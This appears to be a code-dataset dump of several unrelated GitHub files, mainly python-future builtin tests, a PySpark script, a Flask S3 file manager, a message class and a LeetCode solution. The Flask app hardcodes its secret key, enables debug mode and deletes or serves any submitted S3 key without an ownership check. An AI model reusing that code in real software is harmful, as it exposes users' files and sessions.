1)\n self.assertEqual(min([1, 2, 3, 1, 2, 3]), 1)\n\n self.assertEqual(min(1, 2, 3.0), 1)\n self.assertEqual(min(1, 2.0, 3), 1)\n self.assertEqual(min(1.0, 2, 3), 1.0)\n\n self.assertRaises(TypeError, min)\n self.assertRaises(TypeError, min, 42)\n self.assertRaises(ValueError, min, ())\n class BadSeq:\n def __getitem__(self, index):\n raise ValueError\n self.assertRaises(ValueError, min, BadSeq())\n self.assertEqual(max(x for x in [5, 4, 3]), 5)\n\n for stmt in (\n \"min(key=int)\", # no args\n \"min(1, key=int)\", # single arg not iterable\n \"min(1, 2, keystone=int)\", # wrong keyword\n \"min(1, 2, key=int, abc=int)\", # two many keywords\n \"min(1, 2, key=1)\", # keyfunc is not callable\n ):\n try:\n exec_(stmt, globals())\n except TypeError:\n pass\n else:\n self.fail(stmt)\n\n self.assertEqual(min((1,), key=neg), 1) # one elem iterable\n self.assertEqual(min((1,2), key=neg), 2) # two elem iterable\n self.assertEqual(min(1, 2, key=neg), 2) # two elems\n\n data = [random.randrange(200) for i in range(100)]\n keys = dict((elem, random.randrange(50)) for elem in data)\n f = keys.__getitem__\n self.assertEqual(min(data, key=f),\n sorted(data, key=f)[0])\n self.assertEqual(min([], default=5), 5)\n self.assertEqual(min([], default=0), 0)\n self.assertIs(min([], default=None), None)\n with self.assertRaises(TypeError):\n max(None, default=5)\n with self.assertRaises(TypeError):\n max(1, 2, default=0)\n\n # Test iterables that can only be looped once #510\n self.assertEqual(min(x for x in [5]), 5)\n\n def test_next(self):\n it = iter(range(2))\n self.assertEqual(next(it), 0)\n self.assertEqual(next(it), 1)\n self.assertRaises(StopIteration, next, it)\n self.assertRaises(StopIteration, next, it)\n self.assertEqual(next(it, 42), 42)\n\n class Iter(object):\n def __iter__(self):\n return self\n def __next__(self):\n raise StopIteration\n\n # Was: it = iter(Iter())\n # Needs this on Py2:\n Iter = implements_iterator(Iter)\n it = iter(Iter())\n self.assertEqual(next(it, 42), 42)\n self.assertRaises(StopIteration, next, it)\n\n def gen():\n yield 1\n return\n\n it = gen()\n self.assertEqual(next(it), 1)\n self.assertRaises(StopIteration, next, it)\n self.assertEqual(next(it, 42), 42)\n\n def test_oct(self):\n self.assertEqual(oct(100), '0o144')\n self.assertEqual(oct(-100), '-0o144')\n self.assertRaises(TypeError, oct, ())\n\n def write_testfile(self):\n # NB the first 4 lines are also used to test input, below\n fp = open(TESTFN, 'w')\n try:\n fp.write('1+1\\n')\n fp.write('The quick brown fox jumps over the lazy dog')\n fp.write('.\\n')\n fp.write('Dear John\\n')\n fp.write('XXX'*100)\n fp.write('YYY'*100)\n finally:\n fp.close()\n\n def test_open(self):\n self.write_testfile()\n fp = open(TESTFN, 'r')\n try:\n self.assertEqual(fp.readline(4), '1+1\\n')\n self.assertEqual(fp.readline(), 'The quick brown fox jumps over the lazy dog.\\n')\n self.assertEqual(fp.readline(4), 'Dear')\n self.assertEqual(fp.readline(100), ' John\\n')\n self.assertEqual(fp.read(300), 'XXX'*100)\n self.assertEqual(fp.read(1000), 'YYY'*100)\n finally:\n fp.close()\n unlink(TESTFN)\n\n def test_open_default_encoding(self):\n old_environ = dict(os.environ)\n try:\n # try to get a user preferred encoding different than the current\n # locale encoding to check that open() uses the current locale\n # encoding and not the user preferred encoding\n for key in ('LC_ALL', 'LANG', 'LC_CTYPE'):\n if key in os.environ:\n del os.environ[key]\n\n self.write_testfile()\n current_locale_encoding = locale.getpreferredencoding(False)\n fp = open(TESTFN, 'w')\n try:\n self.assertEqual(fp.encoding, current_locale_encoding)\n finally:\n fp.close()\n unlink(TESTFN)\n finally:\n os.environ.clear()\n os.environ.update(old_environ)\n\n def test_ord(self):\n self.assertEqual(ord(' '), 32)\n self.assertEqual(ord('A'), 65)\n self.assertEqual(ord('a'), 97)\n self.assertEqual(ord('\\x80'), 128)\n self.assertEqual(ord('\\xff'), 255)\n\n self.assertEqual(ord(b' '), 32)\n self.assertEqual(ord(b'A'), 65)\n self.assertEqual(ord(b'a'), 97)\n self.assertEqual(ord(b'\\x80'), 128)\n self.assertEqual(ord(b'\\xff'), 255)\n\n self.assertEqual(ord(chr(sys.maxunicode)), sys.maxunicode)\n self.assertRaises(TypeError, ord, 42)\n\n def test_pow(self):\n self.assertEqual(pow(0,0), 1)\n self.assertEqual(pow(0,1), 0)\n self.assertEqual(pow(1,0), 1)\n self.assertEqual(pow(1,1), 1)\n\n self.assertEqual(pow(2,0), 1)\n self.assertEqual(pow(2,10), 1024)\n self.assertEqual(pow(2,20), 1024*1024)\n self.assertEqual(pow(2,30), 1024*1024*1024)\n\n self.assertEqual(pow(-2,0), 1)\n self.assertEqual(pow(-2,1), -2)\n self.assertEqual(pow(-2,2), 4)\n self.assertEqual(pow(-2,3), -8)\n\n self.assertAlmostEqual(pow(0.,0), 1.)\n self.assertAlmostEqual(pow(0.,1), 0.)\n self.assertAlmostEqual(pow(1.,0), 1.)\n self.assertAlmostEqual(pow(1.,1), 1.)\n\n self.assertAlmostEqual(pow(2.,0), 1.)\n self.assertAlmostEqual(pow(2.,10), 1024.)\n self.assertAlmostEqual(pow(2.,20), 1024.*1024.)\n self.assertAlmostEqual(pow(2.,30), 1024.*1024.*1024.)\n\n self.assertAlmostEqual(pow(-2.,0), 1.)\n self.assertAlmostEqual(pow(-2.,1), -2.)\n self.assertAlmostEqual(pow(-2.,2), 4.)\n self.assertAlmostEqual(pow(-2.,3), -8.)\n\n for x in 2, int(2), 2.0:\n for y in 10, int(10), 10.0:\n for z in 1000, int(1000), 1000.0:\n if isinstance(x, float) or \\\n isinstance(y, float) or \\\n isinstance(z, float):\n self.assertRaises(TypeError, pow, x, y, z)\n else:\n self.assertAlmostEqual(pow(x, y, z), 24.0)\n\n self.assertAlmostEqual(pow(-1, 0.5), 1j)\n self.assertAlmostEqual(pow(-1, 1/3), 0.5 + 0.8660254037844386j)\n\n # Raises TypeError in Python < v3.5, ValueError in v3.5:\n self.assertRaises((TypeError, ValueError), pow, -1, -2, 3)\n self.assertRaises(ValueError, pow, 1, 2, 0)\n\n self.assertRaises(TypeError, pow)\n\n def test_input(self):\n self.write_testfile()\n fp = open(TESTFN, 'r')\n savestdin = sys.stdin\n savestdout = sys.stdout # Eats the echo\n try:\n sys.stdin = fp\n sys.stdout = BitBucket()\n self.assertEqual(input(), \"1+1\")\n self.assertEqual(input(), 'The quick brown fox jumps over the lazy dog.')\n self.assertEqual(input('testing\\n'), 'Dear John')\n\n # SF 1535165: don't segfault on closed stdin\n # sys.stdout must be a regular file for triggering\n sys.stdout = savestdout\n sys.stdin.close()\n self.assertRaises(ValueError, input)\n\n sys.stdout = BitBucket()\n sys.stdin = io.StringIO(\"NULL\\0\")\n self.assertRaises(TypeError, input, 42, 42)\n sys.stdin = io.StringIO(\" 'whitespace'\")\n self.assertEqual(input(), \" 'whitespace'\")\n sys.stdin = io.StringIO()\n self.assertRaises(EOFError, input)\n\n del sys.stdout\n self.assertRaises(RuntimeError, input, 'prompt')\n del sys.stdin\n self.assertRaises(RuntimeError, input, 'prompt')\n finally:\n sys.stdin = savestdin\n sys.stdout = savestdout\n fp.close()\n unlink(TESTFN)\n\n @expectedFailurePY2\n @unittest.skipUnless(pty, \"the pty and signal modules must be available\")\n def check_input_tty(self, prompt, terminal_input, stdio_encoding=None):\n if not sys.stdin.isatty() or not sys.stdout.isatty():\n self.skipTest(\"stdin and stdout must be ttys\")\n r, w = os.pipe()\n try:\n pid, fd = pty.fork()\n except (OSError, AttributeError) as e:\n os.close(r)\n os.close(w)\n self.skipTest(\"pty.fork() raised {0}\".format(e))\n if pid == 0:\n # Child\n try:\n # Make sure we don't get stuck if there's a problem\n signal.alarm(2)\n os.close(r)\n # Check the error handlers are accounted for\n if stdio_encoding:\n sys.stdin = io.TextIOWrapper(sys.stdin.detach(),\n encoding=stdio_encoding,\n errors='surrogateescape')\n sys.stdout = io.TextIOWrapper(sys.stdout.detach(),\n encoding=stdio_encoding,\n errors='replace')\n with open(w, \"w\") as wpipe:\n print(\"tty =\", sys.stdin.isatty() and sys.stdout.isatty(), file=wpipe)\n print(ascii(input(prompt)), file=wpipe)\n except:\n traceback.print_exc()\n finally:\n # We don't want to return to unittest...\n os._exit(0)\n # Parent\n os.close(w)\n os.write(fd, terminal_input + b\"\\r\\n\")\n # Get results from the pipe\n with open(r, \"r\") as rpipe:\n lines = []\n while True:\n line = rpipe.readline().strip()\n if line == \"\":\n # The other end was closed => the child exited\n break\n lines.append(line)\n # Check the result was got and corresponds to the user's terminal input\n if len(lines) != 2:\n # Something went wrong, try to get at stderr\n with open(fd, \"r\", encoding=\"ascii\", errors=\"ignore\") as child_output:\n self.fail(\"got %d lines in pipe but expected 2, child output was:\\n%s\"\n % (len(lines), child_output.read()))\n os.close(fd)\n # Check we did exercise the GNU readline path\n self.assertIn(lines[0], set(['tty = True', 'tty = False']))\n if lines[0] != 'tty = True':\n self.skipTest(\"standard IO in should have been a tty\")\n input_result = eval(lines[1]) # ascii() -> eval() roundtrip\n if stdio_encoding:\n expected = terminal_input.decode(stdio_encoding, 'surrogateescape')\n else:\n expected = terminal_input.decode(sys.stdin.encoding) # what else?\n self.assertEqual(input_result, expected)\n\n @expectedFailurePY26\n def test_input_tty(self):\n # Test input() functionality when wired to a tty (the code path\n # is different and invokes GNU readline if available).\n self.check_input_tty(\"prompt\", b\"quux\")\n\n @expectedFailurePY26\n def test_input_tty_non_ascii(self):\n # Check stdin/stdout encoding is used when invoking GNU readline\n self.check_input_tty(\"prompté\", b\"quux\\xe9\", \"utf-8\")\n\n @expectedFailurePY26\n def test_input_tty_non_ascii_unicode_errors(self):\n # Check stdin/stdout error handler is used when invoking GNU readline\n self.check_input_tty(\"prompté\", b\"quux\\xe9\", \"ascii\")\n\n # test_int(): see test_int.py for tests of built-in function int().\n\n def test_repr(self):\n # Was: self.assertEqual(repr(''), \"\\'\\'\")\n # Why is this failing on Py2.7? A Heisenbug ...\n self.assertEqual(repr(0), '0')\n self.assertEqual(repr(()), '()')\n self.assertEqual(repr([]), '[]')\n self.assertEqual(repr({}), '{}')\n\n # Future versions of the above:\n self.assertEqual(repr(str('')), '\\'\\'')\n self.assertEqual(repr(int(0)), '0')\n self.assertEqual(repr(dict({})), '{}')\n self.assertEqual(repr(dict()), '{}')\n\n a = []\n a.append(a)\n self.assertEqual(repr(a), '[[...]]')\n a = {}\n a[0] = a\n self.assertEqual(repr(a), '{0: {...}}')\n\n @expectedFailurePY2\n def test_round(self):\n self.assertEqual(round(0.0), 0.0)\n # Was: self.assertEqual(type(round(0.0)), int)\n # Now:\n self.assertTrue(isinstance(round(0.0), int))\n self.assertEqual(round(1.0), 1.0)\n self.assertEqual(round(10.0), 10.0)\n self.assertEqual(round(1000000000.0), 1000000000.0)\n self.assertEqual(round(1e20), 1e20)\n\n self.assertEqual(round(-1.0), -1.0)\n self.assertEqual(round(-10.0), -10.0)\n self.assertEqual(round(-1000000000.0), -1000000000.0)\n self.assertEqual(round(-1e20), -1e20)\n\n self.assertEqual(round(0.1), 0.0)\n self.assertEqual(round(1.1), 1.0)\n self.assertEqual(round(10.1), 10.0)\n self.assertEqual(round(1000000000.1), 1000000000.0)\n\n self.assertEqual(round(-1.1), -1.0)\n self.assertEqual(round(-10.1), -10.0)\n self.assertEqual(round(-1000000000.1), -1000000000.0)\n\n self.assertEqual(round(0.9), 1.0)\n self.assertEqual(round(9.9), 10.0)\n self.assertEqual(round(999999999.9), 1000000000.0)\n\n self.assertEqual(round(-0.9), -1.0)\n self.assertEqual(round(-9.9), -10.0)\n self.assertEqual(round(-999999999.9), -1000000000.0)\n\n self.assertEqual(round(-8.0, -1), -10.0)\n self.assertEqual(type(round(-8.0, -1)), float)\n\n self.assertEqual(type(round(-8.0, 0)), float)\n self.assertEqual(type(round(-8.0, 1)), float)\n\n # Check even / odd rounding behaviour\n self.assertEqual(round(5.5), 6)\n self.assertEqual(round(6.5), 6)\n self.assertEqual(round(-5.5), -6)\n self.assertEqual(round(-6.5), -6)\n\n # Check behavior on ints\n self.assertEqual(round(0), 0)\n self.assertEqual(round(8), 8)\n self.assertEqual(round(-8), -8)\n # Was:\n # self.assertEqual(type(round(0)), int)\n # self.assertEqual(type(round(-8, -1)), int)\n # self.assertEqual(type(round(-8, 0)), int)\n # self.assertEqual(type(round(-8, 1)), int)\n # Now:\n self.assertTrue(isinstance(round(0), int))\n self.assertTrue(isinstance(round(-8, -1), int))\n self.assertTrue(isinstance(round(-8, 0), int))\n self.assertTrue(isinstance(round(-8, 1), int))\n\n # test new kwargs\n self.assertEqual(round(number=-8.0, ndigits=-1), -10.0)\n\n self.assertRaises(TypeError, round)\n\n # test generic rounding delegation for reals\n class TestRound:\n def __round__(self):\n return 23\n\n class TestNoRound:\n pass\n\n self.assertEqual(round(TestRound()), 23)\n\n self.assertRaises(TypeError, round, 1, 2, 3)\n self.assertRaises(TypeError, round, TestNoRound())\n\n t = TestNoRound()\n t.__round__ = lambda *args: args\n self.assertRaises(TypeError, round, t)\n self.assertRaises(TypeError, round, t, 0)\n\n # # Some versions of glibc for alpha have a bug that affects\n # # float -> integer rounding (floor, ceil, rint, round) for\n # # values in the range [2**52, 2**53). See:\n # #\n # # http://sources.redhat.com/bugzilla/show_bug.cgi?id=5350\n # #\n # # We skip this test on Linux/alpha if it would fail.\n # linux_alpha = (platform.system().startswith('Linux') and\n # platform.machine().startswith('alpha'))\n # system_round_bug = round(5e15+1) != 5e15+1\n # @unittest.skipIf(PY26)linux_alpha and system_round_bug,\n # \"test will fail; failure is probably due to a \"\n # \"buggy system round function\")\n @skip26\n def test_round_large(self):\n # Issue #1869: integral floats should remain unchanged\n self.assertEqual(round(5e15-1), 5e15-1)\n self.assertEqual(round(5e15), 5e15)\n self.assertEqual(round(5e15+1), 5e15+1)\n self.assertEqual(round(5e15+2), 5e15+2)\n self.assertEqual(round(5e15+3), 5e15+3)\n\n def test_setattr(self):\n setattr(sys, 'spam', 1)\n self.assertEqual(sys.spam, 1)\n self.assertRaises(TypeError, setattr, sys, 1, 'spam')\n self.assertRaises(TypeError, setattr)\n\n # test_str(): see test_unicode.py and test_bytes.py for str() tests.\n\n def test_sum(self):\n self.assertEqual(sum([]), 0)\n self.assertEqual(sum(list(range(2,8))), 27)\n self.assertEqual(sum(iter(list(range(2,8)))), 27)\n self.assertEqual(sum(Squares(10)), 285)\n self.assertEqual(sum(iter(Squares(10))), 285)\n self.assertEqual(sum([[1], [2], [3]], []), [1, 2, 3])\n\n self.assertRaises(TypeError, sum)\n self.assertRaises(TypeError, sum, 42)\n self.assertRaises(TypeError, sum, ['a', 'b', 'c'])\n self.assertRaises(TypeError, sum, ['a', 'b', 'c'], '')\n self.assertRaises(TypeError, sum, [b'a', b'c'], b'')\n # Was:\n # values = [bytearray(b'a'), bytearray(b'b')]\n # self.assertRaises(TypeError, sum, values, bytearray(b''))\n # Currently fails on Py2 -- i.e. sum(values, bytearray(b'')) is allowed\n self.assertRaises(TypeError, sum, [[1], [2], [3]])\n self.assertRaises(TypeError, sum, [{2:3}])\n self.assertRaises(TypeError, sum, [{2:3}]*2, {2:3})\n\n class BadSeq:\n def __getitem__(self, index):\n raise ValueError\n self.assertRaises(ValueError, sum, BadSeq())\n\n empty = []\n sum(([x] for x in range(10)), empty)\n self.assertEqual(empty, [])\n\n def test_type(self):\n self.assertEqual(type(''), type('123'))\n self.assertNotEqual(type(''), type(()))\n\n # We don't want self in vars(), so these are static methods\n\n @staticmethod\n def get_vars_f0():\n return vars()\n\n @staticmethod\n def get_vars_f2():\n BuiltinTest.get_vars_f0()\n a = 1\n b = 2\n return vars()\n\n class C_get_vars(object):\n def getDict(self):\n return {'a':2}\n __dict__ = property(fget=getDict)\n\n def test_vars(self):\n self.assertEqual(set(vars()), set(dir()))\n self.assertEqual(set(vars(sys)), set(dir(sys)))\n self.assertEqual(self.get_vars_f0(), {})\n self.assertEqual(self.get_vars_f2(), {'a': 1, 'b': 2})\n self.assertRaises(TypeError, vars, 42, 42)\n self.assertRaises(TypeError, vars, 42)\n self.assertEqual(vars(self.C_get_vars()), {'a':2})\n\n def test_zip(self):\n a = (1, 2, 3)\n b = (4, 5, 6)\n t = [(1, 4), (2, 5), (3, 6)]\n self.assertEqual(list(zip(a, b)), t)\n b = [4, 5, 6]\n self.assertEqual(list(zip(a, b)), t)\n b = (4, 5, 6, 7)\n self.assertEqual(list(zip(a, b)), t)\n class I:\n def __getitem__(self, i):\n if i < 0 or i > 2: raise IndexError\n return i + 4\n self.assertEqual(list(zip(a, I())), t)\n self.assertEqual(list(zip()), [])\n self.assertEqual(list(zip(*[])), [])\n self.assertRaises(TypeError, zip, None)\n class G:\n pass\n self.assertRaises(TypeError, zip, a, G())\n self.assertRaises(RuntimeError, zip, a, TestFailingIter())\n\n # Make sure zip doesn't try to allocate a billion elements for the\n # result list when one of its arguments doesn't say how long it is.\n # A MemoryError is the most likely failure mode.\n class SequenceWithoutALength:\n def __getitem__(self, i):\n if i == 5:\n raise IndexError\n else:\n return i\n self.assertEqual(\n list(zip(SequenceWithoutALength(), range(2**30))),\n list(enumerate(range(5)))\n )\n\n class BadSeq:\n def __getitem__(self, i):\n if i == 5:\n raise ValueError\n else:\n return i\n self.assertRaises(ValueError, list, zip(BadSeq(), BadSeq()))\n\n @expectedFailurePY2\n def test_zip_pickle(self):\n a = (1, 2, 3)\n b = (4, 5, 6)\n t = [(1, 4), (2, 5), (3, 6)]\n z1 = zip(a, b)\n self.check_iter_pickle(z1, t)\n\n def test_format(self):\n # Test the basic machinery of the format() builtin. Don't test\n # the specifics of the various formatters\n self.assertEqual(format(3, ''), '3')\n\n # Returns some classes to use for various tests. There's\n # an old-style version, and a new-style version\n def classes_new():\n class A(object):\n def __init__(self, x):\n self.x = x\n def __format__(self, format_spec):\n return str(self.x) + format_spec\n class DerivedFromA(A):\n pass\n\n class Simple(object): pass\n class DerivedFromSimple(Simple):\n def __init__(self, x):\n self.x = x\n def __format__(self, format_spec):\n return str(self.x) + format_spec\n class DerivedFromSimple2(DerivedFromSimple): pass\n return A, DerivedFromA, DerivedFromSimple, DerivedFromSimple2\n\n def class_test(A, DerivedFromA, DerivedFromSimple, DerivedFromSimple2):\n self.assertEqual(format(A(3), 'spec'), '3spec')\n self.assertEqual(format(DerivedFromA(4), 'spec'), '4spec')\n self.assertEqual(format(DerivedFromSimple(5), 'abc'), '5abc')\n self.assertEqual(format(DerivedFromSimple2(10), 'abcdef'),\n '10abcdef')\n\n class_test(*classes_new())\n\n def empty_format_spec(value):\n # test that:\n # format(x, '') == str(x)\n # format(x) == str(x)\n self.assertEqual(format(value, \"\"), str(value))\n self.assertEqual(format(value), str(value))\n\n # for builtin types, format(x, \"\") == str(x)\n empty_format_spec(17**13)\n empty_format_spec(1.0)\n empty_format_spec(3.1415e104)\n empty_format_spec(-3.1415e104)\n empty_format_spec(3.1415e-104)\n empty_format_spec(-3.1415e-104)\n empty_format_spec(object)\n empty_format_spec(None)\n\n # TypeError because self.__format__ returns the wrong type\n class BadFormatResult:\n def __format__(self, format_spec):\n return 1.0\n self.assertRaises(TypeError, format, BadFormatResult(), \"\")\n\n # TypeError because format_spec is not unicode or str\n self.assertRaises(TypeError, format, object(), 4)\n self.assertRaises(TypeError, format, object(), object())\n\n # tests for object.__format__ really belong elsewhere, but\n # there's no good place to put them\n x = object().__format__('')\n self.assertTrue(x.startswith('= 4:\n if should_raise_warning:\n self.assertRaises(TypeError, format, obj, fmt_str)\n else:\n try:\n format(obj, fmt_str)\n except TypeError:\n self.fail('object.__format__ raised TypeError unexpectedly')\n else:\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter(\"always\", DeprecationWarning)\n format(obj, fmt_str)\n # Was:\n # if should_raise_warning:\n # self.assertEqual(len(w), 1)\n # self.assertIsInstance(w[0].message, DeprecationWarning)\n # self.assertIn('object.__format__ with a non-empty format '\n # 'string', str(w[0].message))\n # else:\n # self.assertEqual(len(w), 0)\n # Py2.7 fails these tests\n\n fmt_strs = ['', 's']\n\n class A:\n def __format__(self, fmt_str):\n return format('', fmt_str)\n\n for fmt_str in fmt_strs:\n test_deprecated_format_string(A(), fmt_str, False)\n\n class B:\n pass\n\n class C(object):\n pass\n\n for cls in [object, B, C]:\n for fmt_str in fmt_strs:\n test_deprecated_format_string(cls(), fmt_str, len(fmt_str) != 0)\n # --------------------------------------------------------------------\n\n # make sure we can take a subclass of str as a format spec\n class DerivedFromStr(str): pass\n self.assertEqual(format(0, DerivedFromStr('10')), ' 0')\n\n def test_bin(self):\n self.assertEqual(bin(0), '0b0')\n self.assertEqual(bin(1), '0b1')\n self.assertEqual(bin(-1), '-0b1')\n self.assertEqual(bin(2**65), '0b1' + '0' * 65)\n self.assertEqual(bin(2**65-1), '0b' + '1' * 65)\n self.assertEqual(bin(-(2**65)), '-0b1' + '0' * 65)\n self.assertEqual(bin(-(2**65-1)), '-0b' + '1' * 65)\n\n def test_bytearray_translate(self):\n x = bytearray(b\"abc\")\n self.assertRaises(ValueError, x.translate, b\"1\", 1)\n self.assertRaises(TypeError, x.translate, b\"1\"*256, 1)\n\n def test_construct_singletons(self):\n for const in None, Ellipsis, NotImplemented:\n tp = type(const)\n # Was: self.assertIs(tp(), const)\n # Fails for Py2\n self.assertRaises(TypeError, tp, 1, 2)\n self.assertRaises(TypeError, tp, a=1, b=2)\n\nclass TestSorted(unittest.TestCase):\n\n def test_basic(self):\n data = list(range(100))\n copy = data[:]\n random.shuffle(copy)\n self.assertEqual(data, sorted(copy))\n self.assertNotEqual(data, copy)\n\n data.reverse()\n random.shuffle(copy)\n self.assertEqual(data, sorted(copy, key=lambda x: -x))\n self.assertNotEqual(data, copy)\n random.shuffle(copy)\n self.assertEqual(data, sorted(copy, reverse=1))\n self.assertNotEqual(data, copy)\n\n def test_inputtypes(self):\n s = 'abracadabra'\n types = [list, tuple, str]\n for T in types:\n self.assertEqual(sorted(s), sorted(T(s)))\n\n s = ''.join(set(s)) # unique letters only\n types = [str, set, frozenset, list, tuple, dict.fromkeys]\n for T in types:\n self.assertEqual(sorted(s), sorted(T(s)))\n\n def test_baddecorator(self):\n data = 'The quick Brown fox Jumped over The lazy Dog'.split()\n self.assertRaises(TypeError, sorted, data, None, lambda x,y: 0)\n\n\n # def test_input(self, interpreter='python2'):\n # \"\"\"\n # Passes in a string to the waiting input()\n # \"\"\"\n # code = '''\n # from future.builtins import input\n # def greet(name):\n # print \"Hello, {0}!\".format(name)\n # print \"What's your name?\"\n # name = input()\n # greet(name)\n # '''\n # with open(self.tempdir + 'input_test_script.py', 'w') as f:\n # f.write(textwrap.dedent(code))\n # p1 = Popen([interpreter, 'input_test_script.py'], stdout=PIPE, stdin=PIPE, stderr=None)\n # (stdout, stderr) = p1.communicate(b'Ed')\n # # print(stdout)\n # # print(stderr)\n # self.assertEqual(stdout, b\"What's your name?\\nHello, Ed!\\n\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"PythonCharmers/python-future","sub_path":"tests/test_future/test_builtins.py","file_name":"test_builtins.py","file_ext":"py","file_size_in_byte":67175,"program_lang":"python","lang":"en","doc_type":"code","stars":1169,"dataset":"github-code","pt":"19"} +{"seq_id":"22211454188","text":"from pyspark import SparkConf, SparkContext\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"AmountCustomer\")\nsc = SparkContext(conf = conf)\n\ndef parsedLines(line):\n fields = line.split(',')\n customerID = fields[0]\n dollarAmount = fields[2]\n return (int(customerID), float(dollarAmount))\n\nlines = sc.textFile(\"./data/customer-orders.csv\")\nparsedLines = lines.map(parsedLines)\ntotal_customer = parsedLines.reduceByKey(lambda x, y: x + y)\ntotal_customer_amount_sort = total_customer.map(lambda x: (x[1], x[0])).sortByKey()\n\nfor i in total_customer_amount_sort.collect():\n print(i)\n","repo_name":"guilhermedlroncato/spark-course","sub_path":"amount-customer.py","file_name":"amount-customer.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7237913513","text":"# SJSU CS 218 Fall 2019 TEAM6\n# Adapted from https://kishstats.com/python/2018/03/15/flask-amazon-s3-series.html\nfrom flask import Flask, render_template, request, redirect, url_for, flash, \\\n Response, session\nfrom flask_bootstrap import Bootstrap\nfrom filters import datetimeformat, file_type\nfrom resources import get_bucket, get_buckets_list\n\napplication = app = Flask(__name__)\nBootstrap(app)\napp.secret_key = 'secret_key'\napp.jinja_env.filters['datetimeformat'] = datetimeformat\napp.jinja_env.filters['file_type'] = file_type\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef logged():\n return render_template(\"login.html\")\n\n\n@app.route('/loggedin', methods=['GET', 'POST'])\ndef loggedin():\n if request.method == 'POST':\n new_bucket = request.form['bucket']\n session['bucket'] = new_bucket\n return redirect(url_for('files'))\n else:\n buckets = get_buckets_list()\n if request.args.get(\"email\"):\n session['username'] = request.args.get(\"email\").split('@')[0]\n buckets_sorted = []\n for new_bucket in buckets:\n buckets_sorted.append(new_bucket['Name'])\n buckets_sorted = sorted(buckets_sorted, reverse=True)\n print(buckets_sorted)\n return render_template(\"index.html\", buckets=buckets_sorted)\n\n\n@app.route('/files')\ndef files():\n my_bucket = get_bucket()\n all_objects = my_bucket.objects.filter(Prefix=session['username']+'/')\n\n return render_template('files.html', my_bucket=my_bucket, files=all_objects)\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n file = request.files['file']\n\n my_bucket = get_bucket()\n prefix = session['username']+'/'\n path = prefix+file.filename\n my_bucket.Object(path).put(Body=file)\n\n flash('File uploaded successfully. You should receive a summary in your inbox shortly.')\n\n return redirect(url_for('files'))\n\n\n@app.route('/delete', methods=['POST'])\ndef delete():\n key = request.form['key']\n\n my_bucket = get_bucket()\n my_bucket.Object(key).delete()\n\n flash('File deleted successfully')\n return redirect(url_for('files'))\n\n\n@app.route('/download', methods=['POST'])\ndef download():\n key = request.form['key']\n\n my_bucket = get_bucket()\n file_obj = my_bucket.Object(key).get()\n\n return Response(\n file_obj['Body'].read(),\n mimetype='text/plain',\n headers={\"Content-Disposition\": \"attachment;filename={}\".format(key)}\n )\n\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n","repo_name":"iPrathamKumkar/Speech-Summarizer-AWS","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"72311203564","text":"import json\n\n# información general\n# Message(INFO, título, descripción)\nINFO = \"INFO\"\n\n# error en el procesamiento\n# Message(ERROR, título, descripción)\nERROR = \"ERROR\"\n\n# indicador de avance\n# Message(PROGRESS, título, descripción, nro_registro=[nro. registro en proceso], nro_total_registros=[total de registros a procesar])\nPROGRESS = \"PROGRESS\"\n\n# mensaje cuando se prcesa una factura\n# Message(BILL, título, descripción, nro_factura=[número de factura], nro_id=[identificador])\nBILL = \"BILL\"\n\n# mensaje que indica inicio de procesamiento de vendedor\n# Message(INIT, título, descripción)\nINIT = \"INIT\"\n\n# mensaje que indica fin de procesamiento de vendedor\n# Message(FINISH, título, descripción)\nFINISH = \"FINISH\"\n\n# mensaje que indica la ausencia de un producto\n# Message(MISSING, título, descripción, requirement_diff=[faltantes], product_code=[código producto])\nMISSING = \"MISSING\"\n\n\n\nclass Message:\n def __init__(self, type: str, seller_code: str, title: str, description: str, **kwargs):\n self.code = seller_code\n self.type = type\n self.title = title\n self.description = description\n # transforma los argumentos en variables con el valor que viene asignado\n self.extra_params = kwargs\n\n self.__dict__.update(kwargs)\n\n def toJson(self):\n return json.dumps(self.__dict__)","repo_name":"cursorcl/restDiaplza","sub_path":"utils/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"37237210292","text":"from collections import deque\nfrom typing import List\n\n\nclass Solution:\n def minimumOperations(self, nums: List[int], start: int, goal: int) -> int:\n q = deque()\n q.append(start)\n res = 0\n visited = [False] * 1001\n while len(q) != 0:\n res += 1\n for i in range(len(q)):\n cur = q.popleft()\n for incur in nums:\n for i in [cur + incur, cur - incur, cur ^ incur]:\n if i == goal:\n return res\n if 0 <= i <= 1000 and not visited[i]:\n visited[i] = True\n q.append(i)\n return -1\n\n\nprint(Solution().minimumOperations([3,5,7], 0, -4))\n","repo_name":"HardbassMafia/algo","sub_path":"algo-all/src/main/java/com/lu/all/BFS_q2059_转化数字的最小运算数.py","file_name":"BFS_q2059_转化数字的最小运算数.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74403008683","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nimport Artus.Utility.logger as logger\nlog = logging.getLogger(__name__)\n\nimport argparse\nimport os\nimport shlex\n\nimport ROOT\nROOT.gROOT.SetBatch(True)\nROOT.PyConfig.IgnoreCommandLineOptions = True\nROOT.gErrorIgnoreLevel = ROOT.kError\n\nimport HiggsAnalysis.KITHiggsToTauTau.plotting.configs.samples_run1 as samples\nimport HiggsAnalysis.KITHiggsToTauTau.plotting.higgsplot as higgsplot\n\n\n\nif __name__ == \"__main__\":\n\n\tparser = argparse.ArgumentParser(description=\"Make Htautau plots with central sample estimation.\",\n\t parents=[logger.loggingParser])\n\n\tparser.add_argument(\"-i\", \"--input-dir\", required=True,\n\t help=\"Input directory.\")\n\tparser.add_argument(\"-s\", \"--samples\", nargs=\"+\",\n\t default=[\"ztt\", \"zl\", \"zj\", \"ttj\", \"vv\", \"wj\", \"qcd\", \"htt\", 